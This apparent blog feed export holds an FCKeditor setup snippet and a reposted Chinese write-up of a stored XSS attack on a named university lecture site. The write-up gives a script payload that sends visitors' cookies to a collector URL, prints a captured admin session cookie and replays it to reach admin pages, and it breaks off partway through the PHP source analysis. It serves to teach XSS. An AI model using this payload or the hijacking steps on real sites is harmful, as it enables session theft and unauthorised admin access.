type="html">&lt;p&gt;各种原因,弄了很久.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;最后选定了FCKeditor_2.6.7&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;其他编辑器都存在问题,比如不能上传文件,ewebEditor浏览器支持很差.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;使用最新的CKeditor没调试成功.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;NBArticle使用的模板替换技术,需要对调用的函数进行修改.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;span style="color: #0000ff; "&gt;Case&lt;/span&gt;&amp;nbsp;&lt;span style="color: #800080; "&gt;1&lt;/span&gt;&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #008000;"&gt;'&lt;/span&gt;&lt;span style="color: #008000;"&gt;FCK&amp;nbsp;Editor&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #0000FF;"&gt;Dim&lt;/span&gt;&amp;nbsp;sBasePath&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sBasePath&amp;nbsp;=&amp;nbsp;SystemFolder&amp;amp;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;editor/fck_editor/&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #0000FF;"&gt;Dim&lt;/span&gt;&amp;nbsp;oFCKeditor&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #0000FF;"&gt;Set&lt;/span&gt;&amp;nbsp;oFCKeditor&amp;nbsp;=&amp;nbsp;&lt;span style="color: #0000FF;"&gt;New&lt;/span&gt;&amp;nbsp;FCKeditor&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;oFCKeditor.BasePath&amp;nbsp;=&amp;nbsp;sBasePath&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;oFCKeditor.Width=iWindowWidth&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;oFCKeditor.Height=iWindowHeight&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;oFCKeditor.Value=sValue&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;oFCKeditor.Config(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;AutoDetectLanguage&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;)&amp;nbsp;=&amp;nbsp;&lt;span style="color: #0000FF;"&gt;False&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;oFCKeditor.Config(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;DefaultLanguage&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;=&amp;nbsp;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;zh-cn&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;oFCKeditor.Value&amp;nbsp;=&amp;nbsp;sValue&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sOutStr=oFCKeditor.&lt;span style="color: red; "&gt;&lt;strong&gt;CreateHTML&lt;/strong&gt;(&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;content&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;)&lt;/div&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/jecray/aggbug/2489373.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jecray/archive/2012/05/07/2489373.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jecray/archive/2012/04/28/2475701.html</id><title type="text">[转]XssWhulecture</title><summary type="text">对武汉大学讲座网的一次xss攻击UpdatedDec 26, 2010byhand...@gmail.com0x01 Introduction0x02 黑盒部分0x03 白盒部分0x04 引用0x01 Introduction目前xss漏洞极其流行，在sql注入已经逐渐消失的今天，xss已经形成了新的潮流武汉大学讲座网http://www.whulecture.net是新成立的网站，整个网站比较简陋，唯一存在输入的地方是“留言板”由于特殊原因，我决定对该网站进行进行xss方面的检测下面的内容分两部分 -- 黑盒和白盒 -- 来讲述。黑盒描述攻击过程，白盒讲解背后的原理。0x02 黑盒部分留言板</summary><published>2012-04-28T12:21:00Z</published><updated>2012-04-28T12:21:00Z</updated><author><name>jecray</name><uri>http://www.cnblogs.com/jecray/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jecray/archive/2012/04/28/2475701.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jecray/archive/2012/04/28/2475701.html"/><content type="html">&lt;div id="wikiheader" style="padding-top: 10px; margin-bottom: 12px; font-family: arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f8f8f8; "&gt;&lt;em&gt;对武汉大学讲座网的一次xss攻击&lt;/em&gt;&lt;div id="wikiauthor" style="clear: both; text-align: right; font-size: x-small; float: right; "&gt;Updated&amp;nbsp;&lt;span title="Sun Dec 26 05:07:52 2010"&gt;Dec 26, 2010&lt;/span&gt;&amp;nbsp;by&amp;nbsp;&lt;a href="http://code.google.com/u/101102457295396461072/" style="color: #0000cc; white-space: nowrap; "&gt;hand...@gmail.com&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="wikicontent" style="font-family: arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f8f8f8; "&gt;&lt;div id="wikimaincol" style="vertical-align: top; padding-top: 6px; padding-right: 25px; padding-bottom: 10px; padding-left: 1em; background-color: #ffffff; min-width: 64em; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; "&gt;&lt;p&gt;&lt;/p&gt;&lt;ul style="padding-left: 25px; max-width: 62em; "&gt;&lt;li style="margin-bottom: 0.3em; "&gt;&lt;a href="http://code.google.com/p/whuwebsec/wiki/XssWhulecture#0x01_Introduction" style="color: #0000cc; "&gt;0x01 Introduction&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-bottom: 0.3em; "&gt;&lt;a href="http://code.google.com/p/whuwebsec/wiki/XssWhulecture#0x02_黑盒部分" style="color: #0000cc; "&gt;0x02 黑盒部分&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-bottom: 0.3em; "&gt;&lt;a href="http://code.google.com/p/whuwebsec/wiki/XssWhulecture#0x03_白盒部分" style="color: #0000cc; "&gt;0x03 白盒部分&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-bottom: 0.3em; "&gt;&lt;a href="http://code.google.com/p/whuwebsec/wiki/XssWhulecture#0x04_引用" style="color: #0000cc; "&gt;0x04 引用&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="0x01_Introduction"&gt;&lt;/a&gt;0x01 Introduction&lt;/strong&gt;&lt;/p&gt;&lt;ol style="padding-left: 25px; max-width: 62em; "&gt;&lt;li style="margin-bottom: 0.3em; "&gt;目前xss漏洞极其流行，在sql注入已经逐渐消失的今天，xss已经形成了新的潮流&lt;/li&gt;&lt;li style="margin-bottom: 0.3em; "&gt;武汉大学讲座网&amp;nbsp;&lt;a href="http://www.whulecture.net/" rel="nofollow" style="color: #0000cc; "&gt;http://www.whulecture.net&lt;/a&gt;&amp;nbsp;是新成立的网站，整个网站比较简陋，唯一存在输入的地方是&amp;#8220;留言板&amp;#8221;&lt;/li&gt;&lt;li style="margin-bottom: 0.3em; "&gt;由于特殊原因，我决定对该网站进行进行xss方面的检测&lt;/li&gt;&lt;/ol&gt;&lt;blockquote style="margin-top: 20px; margin-right: 20px; margin-bottom: 20px; margin-left: 20px; max-width: 60em; "&gt;下面的内容分两部分 -- 黑盒和白盒 -- 来讲述。黑盒描述攻击过程，白盒讲解背后的原理。&lt;/blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="0x02_黑盒部分"&gt;&lt;/a&gt;0x02 黑盒部分&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;留言板在这里：&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.whulecture.net/message.php?id=c04" rel="nofollow" style="color: #0000cc; "&gt;http://www.whulecture.net/message.php?id=c04&lt;/a&gt;&lt;/p&gt;&lt;p&gt;设置好浏览器的代理端口，启动WebScarab，在留言板输入任意内容，只要看起来能够通过审核，比如：&lt;/p&gt;&lt;p&gt;&lt;img src="file:///C:/Users/Administrator/Desktop/XssWhulecture%20-%20whuwebsec%20-%20%E5%AF%B9%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6%E8%AE%B2%E5%BA%A7%E7%BD%91%E7%9A%84%E4%B8%80%E6%AC%A1xss%E6%94%BB%E5%87%BB%20-%20%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%8D%8F%E4%BC%9A%20-%20Google%20Project%20Hosting_files/56267076201012262037013405580433416_005.jpg" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; max-width: 100%; "  alt="" /&gt;&lt;/p&gt;&lt;p&gt;提交后在webscarab中捕获到所有post的字段：&lt;/p&gt;&lt;p&gt;&lt;img src="file:///C:/Users/Administrator/Desktop/XssWhulecture%20-%20whuwebsec%20-%20%E5%AF%B9%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6%E8%AE%B2%E5%BA%A7%E7%BD%91%E7%9A%84%E4%B8%80%E6%AC%A1xss%E6%94%BB%E5%87%BB%20-%20%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%8D%8F%E4%BC%9A%20-%20Google%20Project%20Hosting_files/56267076201012262037013405580433416_004.jpg" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; max-width: 100%; "  alt="" /&gt;&lt;/p&gt;&lt;p&gt;修改img字段的值，填入如下内容：&lt;/p&gt;&lt;span style="color: #008800; "&gt;"&amp;gt;&amp;lt;script&amp;gt;document.location = 'http://localhost/test.php?cookie=' + document.cookie;&amp;lt;/script&amp;gt;&amp;lt;img&lt;/span&gt;&lt;p&gt;&lt;img src="file:///C:/Users/Administrator/Desktop/XssWhulecture%20-%20whuwebsec%20-%20%E5%AF%B9%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6%E8%AE%B2%E5%BA%A7%E7%BD%91%E7%9A%84%E4%B8%80%E6%AC%A1xss%E6%94%BB%E5%87%BB%20-%20%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%8D%8F%E4%BC%9A%20-%20Google%20Project%20Hosting_files/56267076201012262037013405580433416_003.jpg" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; max-width: 100%; "  alt="" /&gt;&lt;/p&gt;&lt;p&gt;稍等片刻,我们看到本地的文件夹中已经生成了cookie.txt文件。&lt;/p&gt;&amp;nbsp;IP&lt;span style="color: #666600; "&gt;:&lt;/span&gt; &lt;span style="color: #006666; "&gt;127.0&lt;/span&gt;&lt;span style="color: #666600; "&gt;.&lt;/span&gt;&lt;span style="color: #006666; "&gt;0.1&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;span style="color: #660066; "&gt;Date&lt;/span&gt; &lt;span style="color: #000088; "&gt;and&lt;/span&gt; &lt;span style="color: #660066; "&gt;Time&lt;/span&gt;&lt;span style="color: #666600; "&gt;:&lt;/span&gt; &lt;span style="color: #006666; "&gt;2010&lt;/span&gt;&lt;span style="color: #666600; "&gt;-&lt;/span&gt;&lt;span style="color: #006666; "&gt;12&lt;/span&gt;&lt;span style="color: #666600; "&gt;-&lt;/span&gt;&lt;span style="color: #006666; "&gt;26&lt;/span&gt; &lt;span style="color: #006666; "&gt;8&lt;/span&gt;&lt;span style="color: #666600; "&gt;:&lt;/span&gt;&lt;span style="color: #006666; "&gt;15&lt;/span&gt;&lt;span style="color: #666600; "&gt;:&lt;/span&gt;&lt;span style="color: #006666; "&gt;32&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;span style="color: #660066; "&gt;User&lt;/span&gt; &lt;span style="color: #660066; "&gt;Agent&lt;/span&gt;&lt;span style="color: #666600; "&gt;:&lt;/span&gt;&lt;span style="color: #660066; "&gt;Mozilla&lt;/span&gt;&lt;span style="color: #666600; "&gt;/&lt;/span&gt;&lt;span style="color: #006666; "&gt;4.0&lt;/span&gt; &lt;span style="color: #666600; "&gt;(&lt;/span&gt;compatible&lt;span style="color: #666600; "&gt;;&lt;/span&gt; MSIE &lt;span style="color: #006666; "&gt;7.0&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; &lt;span style="color: #660066; "&gt;Windows&lt;/span&gt; NT &lt;span style="color: #006666; "&gt;6.1&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; &lt;span style="color: #660066; "&gt;Trident&lt;/span&gt;&lt;span style="color: #666600; "&gt;/&lt;/span&gt;&lt;span style="color: #006666; "&gt;4.0&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; SE &lt;span style="color: #006666; "&gt;2.X&lt;/span&gt; &lt;span style="color: #660066; "&gt;MetaSr&lt;/span&gt; &lt;span style="color: #006666; "&gt;1.0&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; SLCC2&lt;span style="color: #666600; "&gt;;&lt;/span&gt; &lt;span style="color: #666600; "&gt;.&lt;/span&gt;NET CLR &lt;span style="color: #006666; "&gt;2.0&lt;/span&gt;&lt;span style="color: #666600; "&gt;.&lt;/span&gt;&lt;span style="color: #006666; "&gt;50727&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; &lt;span style="color: #666600; "&gt;.&lt;/span&gt;NET CLR &lt;span style="color: #006666; "&gt;3.5&lt;/span&gt;&lt;span style="color: #666600; "&gt;.&lt;/span&gt;&lt;span style="color: #006666; "&gt;30729&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; &lt;span style="color: #666600; "&gt;.&lt;/span&gt;NET CLR &lt;span style="color: #006666; "&gt;3.0&lt;/span&gt;&lt;span style="color: #666600; "&gt;.&lt;/span&gt;&lt;span style="color: #006666; "&gt;30729&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; &lt;span style="color: #660066; "&gt;Media&lt;/span&gt; &lt;span style="color: #660066; "&gt;Center&lt;/span&gt; PC &lt;span style="color: #006666; "&gt;6.0&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; &lt;span style="color: #660066; "&gt;InfoPath&lt;/span&gt;&lt;span style="color: #666600; "&gt;.&lt;/span&gt;&lt;span style="color: #006666; "&gt;3&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; staticlogin&lt;span style="color: #666600; "&gt;:&lt;/span&gt;product&lt;span style="color: #666600; "&gt;=&lt;/span&gt;cboxf2010&lt;span style="color: #666600; "&gt;&amp;amp;&lt;/span&gt;act&lt;span style="color: #666600; "&gt;=&lt;/span&gt;login&lt;span style="color: #666600; "&gt;&amp;amp;&lt;/span&gt;info&lt;span style="color: #666600; "&gt;=&lt;/span&gt;&lt;span style="color: #660066; "&gt;ZmlsZW5hbWU9UG93ZXJXb3JkMjAxME94Zl9VbHRpbWF0ZS5leGUmbWFjPTZFMkRERDc1RDJDQzRGMTU5NkM4MDA4QTgzNDkzQjkyJnBhc3Nwb3J0PSZ2ZXJzaW9uPTIwMTAuNi4zLjYuMiZjcmFzaHR5cGU9MQ&lt;/span&gt;&lt;span style="color: #666600; "&gt;==&amp;amp;&lt;/span&gt;verify&lt;span style="color: #666600; "&gt;=&lt;/span&gt;&lt;span style="color: #006666; "&gt;473cb1f32836a477b8dd9c4df56f660d&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; SE &lt;span style="color: #006666; "&gt;2.X&lt;/span&gt; &lt;span style="color: #660066; "&gt;MetaSr&lt;/span&gt; &lt;span style="color: #006666; "&gt;1.0&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; SE &lt;span style="color: #006666; "&gt;2.X&lt;/span&gt; &lt;span style="color: #660066; "&gt;MetaSr&lt;/span&gt; &lt;span style="color: #006666; "&gt;1.0&lt;/span&gt;&lt;span style="color: #666600; "&gt;)&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;span style="color: #660066; "&gt;Referer&lt;/span&gt;&lt;span style="color: #666600; "&gt;:&lt;/span&gt; &lt;br /&gt;&amp;nbsp;&lt;span style="color: #660066; "&gt;Cookie&lt;/span&gt;&lt;span style="color: #666600; "&gt;:&lt;/span&gt; PHPSESSID&lt;span style="color: #666600; "&gt;=&lt;/span&gt;&lt;span style="color: #006666; "&gt;6ed8c4bea052fc1d5a6064e8d0e0de73&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; rtime&lt;span style="color: #666600; "&gt;=&lt;/span&gt;&lt;span style="color: #006666; "&gt;1&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; ltime&lt;span style="color: #666600; "&gt;=&lt;/span&gt;&lt;span style="color: #006666; "&gt;1293351234948&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt; cnzz_eid&lt;span style="color: #666600; "&gt;=&lt;/span&gt;&lt;span style="color: #006666; "&gt;8097710&lt;/span&gt;&lt;span style="color: #666600; "&gt;-&lt;/span&gt;&lt;span style="color: #006666; "&gt;1293176969&lt;/span&gt;&lt;span style="color: #666600; "&gt;-&lt;/span&gt;http&lt;span style="color: #666600; "&gt;:&lt;/span&gt;&lt;span style="color: #880000; "&gt;//localhost/web2/admin/adm_login.php; cnzz_a2580246=47; sin2580246=none&lt;/span&gt;&lt;p&gt;现在我们已经拿到&amp;nbsp;&lt;strong&gt;管理员的cookie&lt;/strong&gt;&amp;nbsp;了。&lt;/p&gt;&lt;p&gt;我们访问只有管理员才能访问的网页，比如文章管理页面：&lt;a href="http://www.whulecture.net/admin/adm_add_lecture.php%EF%BC%8C%E5%8F%91%E7%8E%B0%E8%A2%AB%E9%98%BB%E6%AD%A2%E4%BA%86%E3%80%82" rel="nofollow" style="color: #0000cc; "&gt;http://www.whulecture.net/admin/adm_add_lecture.php，发现被阻止了。&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="file:///C:/Users/Administrator/Desktop/XssWhulecture%20-%20whuwebsec%20-%20%E5%AF%B9%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6%E8%AE%B2%E5%BA%A7%E7%BD%91%E7%9A%84%E4%B8%80%E6%AC%A1xss%E6%94%BB%E5%87%BB%20-%20%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%8D%8F%E4%BC%9A%20-%20Google%20Project%20Hosting_files/56267076201012262037013405580433416_002.jpg" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; max-width: 100%; "  alt="" /&gt;&lt;/p&gt;&lt;p&gt;在webscarab中监听get数据，再次访问该页面，修改cookie字段，填入在cookie.txt中获得的cookie。点击Accept Change，发现我们已经进来了。&lt;/p&gt;&lt;p&gt;&lt;img src="file:///C:/Users/Administrator/Desktop/XssWhulecture%20-%20whuwebsec%20-%20%E5%AF%B9%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6%E8%AE%B2%E5%BA%A7%E7%BD%91%E7%9A%84%E4%B8%80%E6%AC%A1xss%E6%94%BB%E5%87%BB%20-%20%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%8D%8F%E4%BC%9A%20-%20Google%20Project%20Hosting_files/56267076201012262037013405580433416_001.jpg" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; max-width: 100%; "  alt="" /&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="file:///C:/Users/Administrator/Desktop/XssWhulecture%20-%20whuwebsec%20-%20%E5%AF%B9%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6%E8%AE%B2%E5%BA%A7%E7%BD%91%E7%9A%84%E4%B8%80%E6%AC%A1xss%E6%94%BB%E5%87%BB%20-%20%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%8D%8F%E4%BC%9A%20-%20Google%20Project%20Hosting_files/56267076201012262037013405580433416_000.jpg" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; max-width: 100%; "  alt="" /&gt;&lt;/p&gt;&lt;p&gt;至此我们已经是管理员了，攻击成功。收工。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="0x03_白盒部分"&gt;&lt;/a&gt;0x03 白盒部分&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;因为我拥有网站的源代码，所以能够以白盒的方式分析原理。&lt;/p&gt;&lt;p&gt;在我们进行xss攻击时，首先要看哪些地方提供输入。在黑盒部分已经看到，该留言本存在name/img/content 三个输入。经过一系列测试，可以发现name存在长度限制、content进行了标签过滤，只有img是没有进行处理，直接进入数据库的。&lt;/p&gt;&lt;p&gt;我们看看网站处理提交表单的源代码：&lt;/p&gt;&lt;span style="color: #000088; "&gt;if&lt;/span&gt;&lt;span style="color: #666600; "&gt;(&lt;/span&gt;isset&lt;span style="color: #666600; "&gt;(&lt;/span&gt;$_POST&lt;span style="color: #666600; "&gt;[&lt;/span&gt;&lt;span style="color: #008800; "&gt;'submit'&lt;/span&gt;&lt;span style="color: #666600; "&gt;])){&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $name&lt;span style="color: #666600; "&gt;=&lt;/span&gt;trim&lt;span style="color: #666600; "&gt;(&lt;/span&gt;$_POST&lt;span style="color: #666600; "&gt;[&lt;/span&gt;&lt;span style="color: #008800; "&gt;'name'&lt;/span&gt;&lt;span style="color: #666600; "&gt;]);&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $content&lt;span style="color: #666600; "&gt;=&lt;/span&gt;trim&lt;span style="color: #666600; "&gt;(&lt;/span&gt;$_POST&lt;span style="color: #666600; "&gt;[&lt;/span&gt;&lt;span style="color: #008800; "&gt;'content'&lt;/span&gt;&lt;span style="color: #666600; "&gt;]);&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $img&lt;span style="color: #666600; "&gt;=&lt;/span&gt;$_POST&lt;span style="color: #666600; "&gt;[&lt;/span&gt;&lt;span style="color: #008800; "&gt;'img'&lt;/span&gt;&lt;span style="color: #666600; "&gt;];&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #000088; "&gt;if&lt;/span&gt;&lt;span style="color: #666600; "&gt;(&lt;/span&gt;$name&lt;span style="color: #666600; "&gt;==&lt;/span&gt;&lt;span style="color: #008800; "&gt;''&lt;/span&gt;&lt;span style="color: #666600; "&gt;){&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $name&lt;span style="color: #666600; "&gt;=&lt;/span&gt;&lt;span style="color: #008800; "&gt;"匿名"&lt;/span&gt;&lt;span style="color: #666600; "&gt;;&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #666600; "&gt;}&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #000088; "&gt;if&lt;/span&gt;&lt;span style="color: #666600; "&gt;(&lt;/span&gt;$content&lt;span style="color: #666600; "&gt;==&lt;/span&gt;&lt;span style="color: #008800; "&gt;''&lt;/span&gt;&lt;span style="color: #666600; "&gt;)&lt;/span&gt; &lt;span style="color: #666600; "&gt;{&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my_msg&lt;span style="color: #666600; "&gt;(&lt;/span&gt;&lt;span style="color: #008800; "&gt;"页面内容不能为空！"&lt;/span&gt;&lt;span style="color: #666600; "&gt;,&lt;/span&gt;&lt;span style="color: #008800; "&gt;"message.php?id=c04"&lt;/span&gt;&lt;span style="color: #666600; "&gt;);&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #666600; "&gt;}&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #000088; "&gt;else&lt;/span&gt;&lt;span style="color: #666600; "&gt;{&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $content &amp;nbsp;&lt;span style="color: #666600; "&gt;=&lt;/span&gt; strip_tags&lt;span style="color: #666600; "&gt;(&lt;/span&gt;$content&lt;span style="color: #666600; "&gt;);&lt;/span&gt;&amp;nbsp;&lt;span style="color: #880000; "&gt;// 仅靠strip_tags()是否足够呢？&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $record &lt;span style="color: #666600; "&gt;=&lt;/span&gt; array&lt;span style="color: #666600; "&gt;(&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #008800; "&gt;'message_id'&lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: #666600; "&gt;=&amp;gt;&lt;/span&gt;NULL&lt;span style="color: #666600; "&gt;,&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 